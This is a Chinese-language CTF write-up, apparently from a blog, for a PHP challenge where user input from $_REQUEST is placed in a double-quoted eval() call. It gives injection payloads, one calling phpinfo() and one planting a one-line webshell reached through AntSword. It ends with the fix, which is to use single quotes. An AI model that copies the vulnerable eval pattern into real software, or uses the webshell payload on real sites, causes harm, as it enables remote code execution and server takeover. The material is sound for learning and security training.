<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);"); 

分析

eval看起来和代码执行有关
$a使用$_REQUEST存储,意味着$a可以用gpc传递
eval("var_dump($a);"); 使用了双引号,意味着,会先计算$a的值(也可以理解为先解析$a)再执行eval函数
利用先计算$a的值再执行eval函数这一特点,通过gpc传递给$a特殊的字符串,经过计算后与原本的var_dump();组合造成拼接效果,形成一个新的字符串,使eval函数执行我们预期的php代码

知识点

单双引号

PHP对于双引号包裹起来的字符串要进行扫描计算,单引号则不管内容如何都会原样输出而不会进行计算。
所以'"执行快

eval()

eval — 把字符串作为PHP代码执行
eval( string $code) : mixed

解法

  1. 通过拼接执行phpinfo()证明可行
    /challenge4.php?hello=);eval(phpinfo()
    相当于eval("var_dump();eval(phpinfo());");
    PHP_Code_Challenge-4-双引号导致php代码注入

  2. 构造输入使脚本成为小马
    /challenge4.php?hello=);eval($_POST[b]
    相当于eval("var_dump();eval($_POST[b]);");

  3. 蚁剑连接
    PHP_Code_Challenge-4-双引号导致php代码注入

flag
PHP_Code_Challenge-4-双引号导致php代码注入

补充

将双引号改为单引号可解决隐患
PHP_Code_Challenge-4-双引号导致php代码注入
PHP_Code_Challenge-4-双引号导致php代码注入

相关文章:

  • 2021-07-09
  • 2021-08-22
  • 2021-08-14
  • 2022-12-23
  • 2021-08-31
  • 2022-12-23
  • 2022-12-23
  • 2022-01-19
猜你喜欢
  • 2022-02-10
  • 2022-12-23
  • 2021-11-10
  • 2021-12-18
  • 2021-08-31
  • 2022-12-23
  • 2021-09-17
相关资源
相似解决方案